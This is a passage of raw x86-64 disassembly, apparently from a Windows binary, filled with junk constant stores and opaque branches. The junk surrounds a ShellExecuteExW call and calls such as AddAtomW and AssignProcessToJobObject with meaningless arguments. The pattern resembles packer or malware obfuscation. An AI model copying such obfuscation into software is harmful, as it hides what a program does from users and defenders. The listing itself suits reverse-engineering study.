mov eax, 0x3e2
mov word [rsp + 0x2704], ax
mov dword [rsp + 0x7da4], 0x7b23
mov eax, 0x96d
mov word [rsp + 0x2708], ax
movabs rax, 0x74d01a0151e32b
mov qword [rsp + 0xfdc8], rax
mov dword [rsp + 0x7da8], 0x79bd
movabs rax, 0x740b589eeec2e6
mov qword [rsp + 0xfdd0], rax
mov dword [rsp + 0x7dac], 0x7fb7
mov eax, 0x7a6
mov word [rsp + 0x270c], ax
movabs rax, 0x7ae57e44645880
mov qword [rsp + 0xfdd8], rax
mov dword [rsp + 0x7db0], 0x981b
mov byte [rsp + 0x51d], 0x3a
mov eax, 0x735
mov word [rsp + 0x2710], ax
mov dword [rsp + 0x7db4], 0x7d34
mov dword [rsp + 0x7db8], 0x1cc5
movabs rax, 0x73b7cdb50bf0d2
mov qword [rsp + 0xfde0], rax
mov dword [rsp + 0x7dbc], 0x6eae
movabs rax, 0x723f74b5b2d917
mov qword [rsp + 0xfde8], rax
mov eax, 0xee
mov word [rsp + 0x2714], ax
movabs rax, 0x760e85b4c9be54
mov qword [rsp + 0xfdf0], rax
mov dword [rsp + 0x7dc0], 0x8cab
mov dword [rsp + 0x7dc4], 0x972d
movabs rax, 0x7cd19cc75be163
mov qword [rsp + 0xfdf8], rax
movabs rax, 0x7d4a0953f92f7c
mov qword [rsp + 0xfe00], rax
mov eax, 0x5f8
mov word [rsp + 0x2718], ax
mov dword [rsp + 0x7dc8], 0x69ea
mov eax, 0xcb9
mov word [rsp + 0x271c], ax
movabs rax, 0x7ee7fdd457dcd6
mov qword [rsp + 0xfe08], rax
movabs rax, 0x76e20451e1b5ba
mov qword [rsp + 0xfe10], rax
mov eax, 0x881
mov word [rsp + 0x2720], ax
mov dword [rsp + 0x7dcc], 0xa268
movabs rax, 0x73e3ae34cb74d0
mov qword [rsp + 0xfe18], rax
mov eax, 0x4b5
mov word [rsp + 0x2724], ax
mov eax, 0x2b9
mov word [rsp + 0x2728], ax
movabs rax, 0x76189849965cd4
mov qword [rsp + 0xfe20], rax
mov byte [rsp + 0x51e], 0x24
movabs rax, 0x730de7719e5c25
mov qword [rsp + 0xfe28], rax
mov eax, 0x38c
mov word [rsp + 0x272c], ax
mov eax, 0x52a
mov word [rsp + 0x2730], ax
movabs rax, 0x758707c60a1d47
mov qword [rsp + 0xfe30], rax
mov eax, 0xe35
mov word [rsp + 0x2734], ax
mov dword [rsp + 0x7dd0], 0x5800
mov byte [rsp + 0x51f], 0xbe
mov eax, 0x3e1
mov word [rsp + 0x2738], ax
mov byte [rsp + 0x520], 0x29
mov eax, 0x420
mov word [rsp + 0x273c], ax
mov dword [rsp + 0x7dd4], 0x1284
movabs rax, 0x7272281cc9d420
mov qword [rsp + 0xfe38], rax
mov dword [rsp + 0x7dd8], 0x7257
movabs rax, 0x7ef6dad5795860
mov qword [rsp + 0xfe40], rax
movabs rax, 0x718adbfb4b38fd
mov qword [rsp + 0xfe48], rax
mov dword [rsp + 0x7ddc], 0x7f1
mov dword [rsp + 0x7de0], 0xc7b3
movabs rax, 0x77e43e6c1c03a2
mov qword [rsp + 0xfe50], rax
mov byte [rsp + 0x521], 0xd
mov dword [rsp + 0x7de4], 0x1d31
mov byte [rsp + 0x522], 0x34
mov dword [rsp + 0x7de8], 0x6140
mov dword [rsp + 0x7dec], 0x69d0
mov byte [rsp + 0x523], 0xa0
mov eax, 0x79b
mov word [rsp + 0x2740], ax
mov eax, 0x5d0
mov word [rsp + 0x2744], ax
mov dword [rsp + 0x7df0], 0x8d2d
movabs rax, 0x76dd9e250ef208
mov qword [rsp + 0xfe58], rax
movabs rax, 0x72c9f50307c749
mov qword [rsp + 0xfe60], rax
mov byte [rsp + 0x524], 0x14
mov dword [rsp + 0x7df4], 0x4f7d
mov eax, 0x302
mov word [rsp + 0x2748], ax
mov eax, 0x19d
mov word [rsp + 0x274c], ax
movabs rax, 0x7e0db206981dc3
mov qword [rsp + 0xfe68], rax
mov eax, 0x3b5
mov word [rsp + 0x2750], ax
movabs rax, 0x788e7a486b1620
mov qword [rsp + 0xfe70], rax
mov byte [rsp + 0x525], 0x1a
mov eax, 0xcb8
mov word [rsp + 0x2754], ax
mov eax, 0x464
mov word [rsp + 0x2758], ax
mov dword [rsp + 0x7df8], 0xde36
mov eax, 0x458
mov word [rsp + 0x275c], ax
mov dword [rsp + 0x7dfc], 0x224
movabs rax, 0x781a51cb6539c4
mov qword [rsp + 0xfe78], rax
movabs rax, 0x72b7a0ea69218e
mov qword [rsp + 0xfe80], rax
mov dword [rsp + 0x7e00], 0x1efa
mov byte [rsp + 0x526], 0x43
movabs rax, 0x7dbfb983ab0c6d
mov qword [rsp + 0xfe88], rax
movabs rax, 0x7402d0681067f6
mov qword [rsp + 0xfe90], rax
mov dword [rsp + 0x7e04], 0x8bc7
movabs rax, 0x70fe7f976c6fa1
mov qword [rsp + 0xfe98], rax
mov byte [rsp + 0x527], 0x1f
mov eax, 0x186
mov word [rsp + 0x2760], ax
mov dword [rsp + 0x7e08], 0xe819
movabs rax, 0x75d6a7df506c84
mov qword [rsp + 0xfea0], rax
mov byte [rsp + 0x528], 0x90
mov dword [rsp + 0x7e0c], 0x766d
mov dword [rsp + 0x7e10], 0x9a40
movabs rax, 0x7e4d4fb8389e47
mov qword [rsp + 0xfea8], rax
movabs rax, 0x76c15891d111e4
mov qword [rsp + 0xfeb0], rax
mov dword [rsp + 0x7e14], 0x1662
mov dword [rsp + 0x7e18], 0xfa05
mov eax, 0x1a2
mov word [rsp + 0x2764], ax
mov eax, 0x5cc
mov word [rsp + 0x2768], ax
mov eax, 0x517
mov word [rsp + 0x276c], ax
mov eax, 0x672
mov word [rsp + 0x2770], ax
mov eax, 0x6da
mov word [rsp + 0x2774], ax
movabs rax, 0x7450a0dd024d3c
mov qword [rsp + 0xfeb8], rax
mov dword [rsp + 0x7e1c], 0x752d
mov eax, 0xb4b
mov word [rsp + 0x2778], ax
mov dword [rsp + 0x7e20], 0xd876
mov eax, 0x3d3
mov word [rsp + 0x277c], ax
mov byte [rsp + 0x529], 0x39
mov dword [rsp + 0x7e24], 0x1e8a
movabs rax, 0x7bd5772479c617
mov qword [rsp + 0xfec0], rax
mov eax, 0xf04
mov word [rsp + 0x2780], ax
mov dword [rsp + 0x7e28], 0x68c7
mov byte [rsp + 0x52a], 0x53
mov dword [rsp + 0x7e2c], 0x49ee
mov dword [rsp + 0x7e30], 0x57e1
movabs rax, 0x7cf34ef56af3c0
mov qword [rsp + 0xfec8], rax
mov dword [rsp + 0x7e34], 0xf3ce
mov eax, 0xd97
mov word [rsp + 0x2784], ax
mov eax, 0x136
mov word [rsp + 0x2788], ax
mov dword [rsp + 0x7e38], 0x508a
mov byte [rsp + 0x52b], 0x66
mov byte [rsp + 0x52c], 0x62
mov eax, 0x7fc
mov word [rsp + 0x278c], ax
movabs rax, 0x79db065813d24e
mov qword [rsp + 0xfed0], rax
movabs rax, 0x7e9e82aebdcb32
mov qword [rsp + 0xfed8], rax
movabs rax, 0x71c2560938472c
mov qword [rsp + 0xfee0], rax
mov dword [rsp + 0x7e3c], 0x508d
mov eax, 0x7bf
mov word [rsp + 0x2790], ax
mov eax, 0xcf0
mov word [rsp + 0x2794], ax
movabs rax, 0x75aff716ab252a
mov qword [rsp + 0xfee8], rax
mov byte [rsp + 0x52d], 0x59
movabs rax, 0x72f3f2ff57985e
mov qword [rsp + 0xfef0], rax
mov byte [rsp + 0x52e], 0xd2
mov eax, 0x6ff
mov word [rsp + 0x2798], ax
movabs rax, 0x75a1911230eaf8
mov qword [rsp + 0xfef8], rax
mov eax, 0x484
mov word [rsp + 0x279c], ax
mov dword [rsp + 0x7e40], 0xa683
movabs rax, 0x753d4f4d30eb7f
mov qword [rsp + 0xff00], rax
movabs rax, 0x74dc684ac960f0
mov qword [rsp + 0xff08], rax
mov eax, 0x1f8
mov word [rsp + 0x27a0], ax
mov byte [rsp + 0x52f], 0xc7
mov dword [rsp + 0x7e44], 0x51e8
mov dword [rsp + 0x7e48], 0x60c8
mov dword [rsp + 0x7e4c], 0x1357
movabs rax, 0x7101f785a8f0e6
mov qword [rsp + 0xff10], rax
mov eax, 0x1e3
mov word [rsp + 0x27a4], ax
mov dword [rsp + 0x7e50], 0x2cfa
mov dword [rsp + 0x7e54], 0x9878
movabs rax, 0x7b74d5acb84d50
mov qword [rsp + 0xff18], rax
movabs rax, 0x7413e3fae0b77e
mov qword [rsp + 0xff20], rax
mov dword [rsp + 0x7e58], 0x79fa
mov eax, 0xd84
mov word [rsp + 0x27a8], ax
movabs rax, 0x7132e5c8afbb10
mov qword [rsp + 0xff28], rax
mov byte [rsp + 0x530], 0xf1
movabs rax, 0x762c124232fada
mov qword [rsp + 0xff30], rax
mov eax, 0x40e
mov word [rsp + 0x27ac], ax
mov byte [rsp + 0x531], 0xee
mov dword [rsp + 0x7e5c], 0x1e7d
movabs rax, 0x71e39ef67a19c8
mov qword [rsp + 0xff38], rax
movabs rax, 0x742c9339045d9b
mov qword [rsp + 0xff40], rax
movabs rax, 0x7164031858bab1
mov qword [rsp + 0xff48], rax
movabs rax, 0x7650d0c19b8568
mov qword [rsp + 0xff50], rax
movabs rax, 0x70a0a0597a2dde
mov qword [rsp + 0xff58], rax
mov dword [rsp + 0x7e60], 0xb6ca
mov eax, 0x4a9
mov word [rsp + 0x27b0], ax
mov eax, 0x663
mov word [rsp + 0x27b4], ax
mov eax, 0x3aa
mov word [rsp + 0x27b8], ax
mov eax, 0x21b
mov word [rsp + 0x27bc], ax
mov dword [rsp + 0x7e64], 0x408f
mov eax, 0x7c7
mov word [rsp + 0x27c0], ax
mov byte [rsp + 0x532], 0xa6
movabs rax, 0x7c961fe02ef21b
mov qword [rsp + 0xff60], rax
movabs rax, 0x77b97f1edfd7c6
mov qword [rsp + 0xff68], rax
mov eax, 0x74c
mov word [rsp + 0x27c4], ax
mov eax, 0x5e4
mov word [rsp + 0x27c8], ax
mov dword [rsp + 0x7e68], 0xec0a
movabs rax, 0x718951423535d9
mov qword [rsp + 0xff70], rax
mov byte [rsp + 0x533], 0x6f
mov byte [rsp + 0x534], 0x49
mov dword [rsp + 0x7e6c], 0x5abf
mov byte [rsp + 0x535], 0x3d
mov byte [rsp + 0x536], 0x28
movabs rax, 0x7b435c00b6f763
mov qword [rsp + 0xff78], rax
movabs rax, 0x711b2c8d782b55
mov qword [rsp + 0xff80], rax
mov dword [rsp + 0x7e70], 0x7ae6
mov byte [rsp + 0x537], 0xc3
mov eax, 0x241
mov word [rsp + 0x27cc], ax
mov eax, 0xf9f
mov word [rsp + 0x27d0], ax
mov byte [rsp + 0x538], 0x42
mov dword [rsp + 0x7e74], 0x1c4a
mov eax, 0xa5e
mov word [rsp + 0x27d4], ax
movabs rax, 0x7e6f90f2a68833
mov qword [rsp + 0xff88], rax
mov eax, 0xc42
mov word [rsp + 0x27d8], ax
mov byte [rsp + 0x539], 0x15
mov byte [rsp + 0x53a], 0x1d
mov dword [rsp + 0x7e78], 0xc227
mov eax, 0x60f
mov word [rsp + 0x27dc], ax
mov eax, 0x341
mov word [rsp + 0x27e0], ax
mov byte [rsp + 0x53b], 0x6f
mov eax, 0x72b
mov word [rsp + 0x27e4], ax
mov eax, 0xee8
mov word [rsp + 0x27e8], ax
mov dword [rsp + 0x7e7c], 0x43a4
mov dword [rsp + 0x7e80], 0x5ddf
mov eax, 0x52a
mov word [rsp + 0x27ec], ax
movabs rax, 0x728f24127b205a
mov qword [rsp + 0xff90], rax
mov byte [rsp + 0x53c], 0x51
mov eax, 0x12b
mov word [rsp + 0x27f0], ax
mov dword [rsp + 0x7e84], 0x6da6
mov byte [rsp + 0x53d], 0xe6
mov byte [rsp + 0x53e], 0x51
mov eax, 0x4e0
mov word [rsp + 0x27f4], ax
mov eax, 0x3b9
mov word [rsp + 0x27f8], ax
mov eax, 0x7c0
mov word [rsp + 0x27fc], ax
mov dword [rsp + 0x7e88], 0x6cdb
mov eax, ILFindLastID
mov word [rsp + 0x2800], ax
mov dword [rsp + 0x7e8c], 0x6262
mov eax, 0x67e
mov word [rsp + 0x2804], ax
movabs rax, 0x7b232ec635639b
mov qword [rsp + 0xff98], rax
mov eax, 0x32d
mov word [rsp + 0x2808], ax
mov dword [rsp + 0x7e90], 0x50cc
movabs rax, 0x77d5bb8501f902
mov qword [rsp + 0xffa0], rax
mov byte [rsp + 0x53f], 0xcf
movabs rax, 0x78967132f3906e
mov qword [rsp + 0xffa8], rax
mov eax, 0x585
mov word [rsp + 0x280c], ax
movabs rax, 0x730c6d5df27b12
mov qword [rsp + 0xffb0], rax
movabs rax, 0x77284d8048b152
mov qword [rsp + 0xffb8], rax
movabs rax, 0x7403c18ef68c61
mov qword [rsp + 0xffc0], rax
mov eax, 0x370
mov word [rsp + 0x2810], ax
movabs rax, 0x7d96ea0aa8b5bc
mov qword [rsp + 0xffc8], rax
movabs rax, 0x7174d76b0a813a
mov qword [rsp + 0xffd0], rax
movabs rax, 0x716f3c6e4ce14a
mov qword [rsp + 0xffd8], rax
movabs rax, 0x74d8367e4e96c5
mov qword [rsp + 0xffe0], rax
mov byte [rsp + 0x540], 0x26
mov eax, 0xb43
mov word [rsp + 0x2814], ax
movabs rax, 0x7919dc0488adc8
mov qword [rsp + 0xffe8], rax
mov dword [rsp + 0x7e94], 0x5572
mov dword [rsp + 0x7e98], 0xebaa
mov dword [rsp + 0x7e9c], 0x67aa
mov eax, 0x561
mov word [rsp + 0x2818], ax
movabs rax, 0x78282ffd3d54d9
mov qword [rsp + 0xfff0], rax
movabs rax, 0x73d945348bdb74
mov qword [rsp + 0xfff8], rax
mov dword [rsp + 0x7ea0], 0x1a32
mov eax, 0x6db
mov word [rsp + 0x281c], ax
mov eax, 0xbbb
mov word [rsp + 0x2820], ax
movabs rax, 0x7691dba4b77069
mov qword [rsp + 0x10000], rax
mov byte [rsp + 0x541], 0xb4
mov byte [rsp + 0x542], 0x7c
mov eax, 0x4cb
mov word [rsp + 0x2824], ax
movabs rax, 0x736813512f5550
mov qword [rsp + 0x10008], rax
mov dword [rsp + 0x7ea4], 0x2a43
movabs rax, 0x742ad1e10332d7
mov qword [rsp + 0x10010], rax
mov dword [rsp + 0x7ea8], 0x1d36
mov byte [rsp + 0x543], 0x7d
mov eax, 0x619
mov word [rsp + 0x2828], ax
mov dword [rsp + 0x7eac], 0xbae7
movabs rax, 0x7e3410aaedcbaa
mov qword [rsp + 0x10018], rax
movabs rax, 0x7a1cdc935bd741
mov qword [rsp + 0x10020], rax
mov byte [rsp + 0x544], 0xd1
mov eax, 0xbbc
mov word [rsp + 0x282c], ax
mov eax, 0xbaf
mov word [rsp + 0x2830], ax
mov dword [rsp + 0x7eb0], 0xc9e1
mov eax, 0x761
mov word [rsp + 0x2834], ax
movabs rax, 0x75c6693674a630
mov qword [rsp + 0x10028], rax
movabs rax, 0x7e9b8cd8b64daf
mov qword [rsp + 0x10030], rax
movabs rax, 0x795c4a7f420e8d
mov qword [rsp + 0x10038], rax
mov eax, 0x3e0
mov word [rsp + 0x2838], ax
movabs rax, 0x751090b26a72c1
mov qword [rsp + 0x10040], rax
mov dword [rsp + 0x7eb4], 0x54ec
movabs rax, 0x7061fc6d9838dd
mov qword [rsp + 0x10048], rax
mov byte [rsp + 0x545], 0x59
movabs rax, 0x719d57aad31545
mov qword [rsp + 0x10050], rax
mov byte [rsp + 0x546], 0x95
movabs rax, 0x7c0ac370e7e05b
mov qword [rsp + 0x10058], rax
mov byte [rsp + 0x547], 0x16
movabs rax, 0x791857757ea066
mov qword [rsp + 0x10060], rax
mov byte [rsp + 0x548], 0xe
mov eax, 0x72c
mov word [rsp + 0x283c], ax
mov byte [rsp + 0x549], 0x5d
movabs rax, 0x735b4bca894112
mov qword [rsp + 0x10068], rax
mov dword [rsp + 0x7eb8], 0x314a
mov byte [rsp + 0x54a], 0x21
mov eax, 0x20f
mov word [rsp + 0x2840], ax
movabs rax, 0x745bc5cde7fc2c
mov qword [rsp + 0x10070], rax
mov byte [rsp + 0x54b], 0xf2
mov dword [rsp + 0x7ebc], 0x466a
mov byte [rsp + 0x54c], 5
mov eax, 0x655
mov word [rsp + 0x2844], ax
mov dword [rsp + 0x7ec0], 0x3df1
movabs rax, 0x78e64c7a0945b5
mov qword [rsp + 0x10078], rax
mov dword [rsp + 0x7ec4], 0x512c
mov eax, 0xc26
mov word [rsp + 0x2848], ax
mov byte [rsp + 0x54d], 0x21
mov eax, 0x547
mov word [rsp + 0x284c], ax
mov eax, 0x33c
mov word [rsp + 0x2850], ax
mov eax, 0x100
mov word [rsp + 0x2854], ax
movabs rax, 0x7e6f44b375128a
mov qword [rsp + 0x10080], rax
mov eax, 0x4c2
mov word [rsp + 0x2858], ax
mov dword [rsp + 0x7ec8], 0x1f23
mov dword [rsp + 0x7ecc], 0xb0a9
mov eax, 0x8ad
mov word [rsp + 0x285c], ax
mov byte [rsp + 0x54e], 0xa8
mov dword [rsp + 0x7ed0], 0x3a5b
mov dword [rsp + 0x7ed4], 0x7699
mov dword [rsp + 0x7ed8], 0x9b14
movabs rax, 0x72617c7fa328c3
mov qword [rsp + 0x10088], rax
mov dword [rsp + 0x7edc], 0x50ec
mov eax, 0x390
mov word [rsp + 0x2860], ax
movabs rax, 0x7727f1ef99527c
mov qword [rsp + 0x10090], rax
mov dword [rsp + 0x7ee0], 0x74a1
mov dword [rsp + 0x7ee4], 0xa73
mov byte [rsp + 0x54f], 0xf3
mov byte [rsp + 0x550], 0
mov eax, 0x339
mov word [rsp + 0x2864], ax
mov dword [rsp + 0x7ee8], 0x7ca4
movabs rax, 0x78047c7487e9e8
mov qword [rsp + 0x10098], rax
mov dword [rsp + 0x7eec], 0x1add
mov byte [rsp + 0x551], 9
movabs rax, 0x748639f302966e
mov qword [rsp + 0x100a0], rax
movabs rax, 0x78002bdbf42e4e
mov qword [rsp + 0x100a8], rax
mov eax, 0x9de
mov word [rsp + 0x2868], ax
mov eax, 0x767
mov word [rsp + 0x286c], ax
movabs rax, 0x7c1ec0e4407464
mov qword [rsp + 0x100b0], rax
movabs rax, 0x7c17b377cec8da
mov qword [rsp + 0x100b8], rax
mov eax, 0x46b
mov word [rsp + 0x2870], ax
mov eax, 0x43
mov word [rsp + 0x2874], ax
movabs rax, 0x7da12c62003676
mov qword [rsp + 0x100c0], rax
mov eax, 0x24
mov word [rsp + 0x2878], ax
mov eax, 0x6bf
mov word [rsp + 0x287c], ax
movabs rax, 0x78ae1febb211e1
mov qword [rsp + 0x100c8], rax
mov eax, 0x9c3
mov word [rsp + 0x2880], ax
movabs rax, 0x7df81bf63d0d1a
mov qword [rsp + 0x100d0], rax
mov eax, 0x4d0
mov word [rsp + 0x2884], ax
mov eax, 0x822
mov word [rsp + 0x2888], ax
mov byte [rsp + 0x552], 0x51
mov eax, 0x7d6
mov word [rsp + 0x288c], ax
movabs rax, 0x7d8df0922c0bac
mov qword [rsp + 0x100d8], rax
mov eax, 0x351
mov word [rsp + 0x2890], ax
mov dword [rsp + 0x7ef0], 0x5b4f
movabs rax, 0x7cc0e2533231bb
mov qword [rsp + 0x100e0], rax
mov byte [rsp + 0x553], 0x1e
mov dword [rsp + 0x7ef4], 0xf90f
movabs rax, 0x728ad175895b7d
mov qword [rsp + 0x100e8], rax
mov byte [rsp + 0x554], 0x4e
mov dword [rsp + 0x7ef8], 0x3f2a
mov byte [rsp + 0x555], 0x36
mov byte [rsp + 0x556], 0x67
mov byte [rsp + 0x557], 0x75
mov dword [rsp + 0x7efc], 0x69b2
movabs rax, 0x79ec0d47593a90
mov qword [rsp + 0x100f0], rax
mov eax, 0x5c
mov word [rsp + 0x2894], ax
mov dword [rsp + 0x7f00], 0xfc1f
movabs rax, 0x7483b82be0ea43
mov qword [rsp + 0x100f8], rax
movabs rax, 0x7ecec56dea5108
mov qword [rsp + 0x10100], rax
mov eax, 0x4dc
mov word [rsp + 0x2898], ax
movabs rax, 0x71b3715e0b5202
mov qword [rsp + 0x10108], rax
movabs rax, 0x7536be2221f446
mov qword [rsp + 0x10110], rax
movabs rax, 0x704cfa8686c832
mov qword [rsp + 0x10118], rax
mov byte [rsp + 0x558], 0x4e
movabs rax, 0x7a6795410a2b3e
mov qword [rsp + 0x10120], rax
mov byte [rsp + 0x559], 0x31
mov dword [rsp + 0x7f04], 0x1c5c
mov dword [rsp + 0x7f08], 0x35a1
movabs rax, 0x77e9e4c82cbc6a
mov qword [rsp + 0x10128], rax
mov dword [rsp + 0x7f0c], 0xa09e
mov eax, 0xd4f
mov word [rsp + 0x289c], ax
mov dword [rsp + 0x7f10], 0x4322
mov byte [rsp + 0x55a], 0xdb
mov eax, 0xe7b
mov word [rsp + 0x28a0], ax
movabs rax, 0x78d94090a3b070
mov qword [rsp + 0x10130], rax
mov byte [rsp + 0x55b], 0xe1
mov byte [rsp + 0x55c], 0x17
mov byte [rsp + 0x55d], 0x21
mov eax, 0xbf1
mov word [rsp + 0x28a4], ax
mov dword [rsp + 0x7f14], 0x19e3
mov eax, 0x6ba
mov word [rsp + 0x28a8], ax
mov dword [rsp + 0x7f18], 0xc331
movabs rax, 0x762c74d3772cd9
mov qword [rsp + 0x10138], rax
mov eax, 0x24c
mov word [rsp + 0x28ac], ax
mov eax, 0x23e
mov word [rsp + 0x28b0], ax
mov dword [rsp + 0x7f1c], 0x4f0c
movabs rax, 0x797054bbb45116
mov qword [rsp + 0x10140], rax
movabs rax, 0x76070dad1b01f1
mov qword [rsp + 0x10148], rax
mov byte [rsp + 0x55e], 0x92
movabs rax, 0x7a966dcaac25b2
mov qword [rsp + 0x10150], rax
mov eax, 0x187
mov word [rsp + 0x28b4], ax
movabs rax, 0x79a84b2d15094a
mov qword [rsp + 0x10158], rax
mov byte [rsp + 0x55f], 0x56
mov eax, 0xa2
mov word [rsp + 0x28b8], ax
mov dword [rsp + 0x7f20], 0x5e98
mov eax, 0x6b1
mov word [rsp + 0x28bc], ax
movabs rax, 0x76cdd5120b0cb0
mov qword [rsp + 0x10160], rax
movabs rax, 0x70252f9ed54b71
mov qword [rsp + 0x10168], rax
movabs rax, 0x758f24a00c19be
mov qword [rsp + 0x10170], rax
mov byte [rsp + 0x560], 0x5e
mov eax, 0x46
mov word [rsp + 0x28c0], ax
movabs rax, 0x73a0fc59fd92df
mov qword [rsp + 0x10178], rax
mov byte [rsp + 0x561], 0x54
mov dword [rsp + 0x7f24], 0x3913
movabs rax, 0x78b080257e8bdb
mov qword [rsp + 0x10180], rax
movabs rax, 0x7279aafd5db819
mov qword [rsp + 0x10188], rax
mov dword [rsp + 0x7f28], 0xd854
movabs rax, 0x71d9a17acbeb5e
mov qword [rsp + 0x10190], rax
mov dword [rsp + 0x7f2c], 0x6a70
mov byte [rsp + 0x562], 0x30
mov eax, 0x12f
mov word [rsp + 0x28c4], ax
mov eax, 0x21f
mov word [rsp + 0x28c8], ax
movabs rax, 0x7aec1135503802
mov qword [rsp + 0x10198], rax
mov dword [rsp + 0x7f30], 0xb8c
mov byte [rsp + 0x563], 0x34
mov byte [rsp + 0x564], 0xc
mov dword [rsp + 0x7f34], 0xb3
mov byte [rsp + 0x565], 0x48
mov byte [rsp + 0x566], 0x39
mov eax, 0x785
mov word [rsp + 0x28cc], ax
movabs rax, 0x71cfe8d4d5aaa0
mov qword [rsp + 0x101a0], rax
mov byte [rsp + 0x567], 0x13
mov byte [rsp + 0x568], 0x60
movabs rax, 0x746231b0f0fadc
mov qword [rsp + 0x101a8], rax
movabs rax, 0x7b0ad1fd8eb9b6
mov qword [rsp + 0x101b0], rax
movabs rax, 0x76e2bb0aa233e6
mov qword [rsp + 0x101b8], rax
mov byte [rsp + 0x569], 0x2b
mov dword [rsp + 0x7f38], 0x237e
mov dword [rsp + 0x7f3c], 0x4db5
mov byte [rsp + 0x56a], 0x10
mov eax, 0x720
mov word [rsp + 0x28d0], ax
movabs rax, 0x7051de5a3220b1
mov qword [rsp + 0x101c0], rax
mov eax, 0x547
mov word [rsp + 0x28d4], ax
mov eax, 0x460
mov word [rsp + 0x28d8], ax
mov dword [rsp + 0x7f40], 0x7bf4
mov dword [rsp + 0x7f44], 0xfe4d
movzx eax, word [rsp + 0x28d8]
add eax, 0x96d
mov word [rsp + 0x2708], ax
mov dword [rsp + 0x7f48], 0x4136
movzx eax, word [rsp + 0x2708]
movzx ecx, word [rsp + 0x28d8]
sub eax, ecx
mov word [0x140211390], ax
mov dword [rsp + 0x7f4c], 0xc1ba
mov dword [rsp + 0x7f50], 0xed88
movabs rax, 0x72725a13f2a7ae
mov qword [rsp + 0x101c8], rax
movabs rax, 0x7b51cf86d612a1
mov rcx, qword [rsp + 0xd518]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
mov eax, dword [rsp + 0x7f4c]
mov dword [rsp + 0x7f54], eax
mov dword [rsp + 0x7f58], 0x4ba1
mov dword [rsp + 0x7f5c], 0xb929
mov eax, 0x40c
mov word [rsp + 0x28dc], ax
mov dword [rsp + 0x7f60], 0x8c79
mov dword [rsp + 0x7f64], 0x5922
lea rcx, str.QK5xb_O4n5h_ODWX
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x28e0], ax
movabs rax, 0x766ad92e25c62a
mov rcx, qword [rsp + 0x101c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov dword [rsp + 0x7f68], 0xad53
mov dword [rsp + 0x7f6c], 0xd4c8
mov dword [rsp + 0x7f70], 0x43c8
mov dword [rsp + 0x7f74], 0xe938
mov byte [rsp + 0x56b], 0xc
mov rax, qword [rsp + 0xd518]
shl rax, 0x24
mov qword [rsp + 0xdac0], rax
mov dword [rsp + 0x7f78], 0x11fea
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x7f7c], 0xcd04
lea rax, [rsp + 0x7f70]
mov qword [rsp + 0x101d0], rax
mov dword [rsp + 0x7f80], 0x4d26
movzx eax, word [rsp + 0x28dc]
mov word [rsp + 0x28e4], ax
movzx eax, byte [rsp + 0x56b]
mov byte [rsp + 0x56c], al
mov dword [rsp + 0x7f84], 0x14b2
movzx eax, byte [rsp + 0xc0]
xor eax, 0x44
mov byte [rsp + 0xc0], al
movsx eax, byte [rsp + 0x56b]
cdq
mov ecx, 0x51
idiv ecx
movsx ecx, byte [rsp + 0x56c]
cmp eax, ecx
jne 0x140014aaf
movzx eax, word [0x140211390]
movzx ecx, word [rsp + 0x28d8]
add eax, ecx
mov word [rsp + 0x2708], ax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [rsp + 0x28d8]
sub eax, ecx
mov word [0x140211390], ax
movsx eax, word [rsp + 0x28e4]
and eax, 0x1f8
mov word [rsp + 0x28dc], ax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
sub eax, 0x2560
mov dword [rsp + 0x7f70], eax
movabs rax, 0x7a55688dafd212
mov rcx, qword [rsp + 0x101c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
lea rcx, [rsp + 0x27ec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x7f88], eax
jmp 0x1401f4b02
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
or eax, 0x4506
cmp eax, dword [rsp + 0x7f70]
jle 0x1401f4b02
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x101d8], rax
mov eax, dword [rsp + 0x7f54]
mov dword [rsp + 0x7f8c], eax
movsx eax, byte [rsp + 0x56c]
sub eax, 0xf
mov byte [rsp + 0x56b], al
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x7f70]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
or eax, 0xa7
mov byte [rsp + 0xc0], al
movzx eax, word [rsp + 0x2708]
movzx ecx, word [rsp + 0x28d8]
shl eax, cl
mov word [0x140211390], ax
movsx eax, word [rsp + 0x28e4]
sar eax, 4
mov word [rsp + 0x28dc], ax
movabs rax, 0x7771fdaeb3fb7d
mov rcx, qword [rsp + 0x101c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
and eax, 0x1af2
mov dword [rsp + 0x7f70], eax
mov eax, dword [rsp + 0x7f4c]
mov ecx, dword [rsp + 0x7f8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
movabs rax, 0x73c80264f76c25
mov rcx, qword [rsp + 0xdac0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
movzx eax, byte [rsp + 0xc0]
add eax, 0x44
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
mov eax, dword [rsp + 0x7f68]
add eax, 0x9b
mov dword [rsp + 0x7f68], eax
movsx eax, byte [rsp + 0x56c]
sub eax, 0x70
mov byte [rsp + 0x56b], al
movsx eax, word [rsp + 0x28e4]
and eax, 0x261
mov word [rsp + 0x28dc], ax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [rsp + 0x28d8]
sub eax, ecx
mov word [0x140211390], ax
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x7f54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f4c], eax
lea rcx, [rsp + 0x24f18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x7f70]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
sub eax, 0x533a
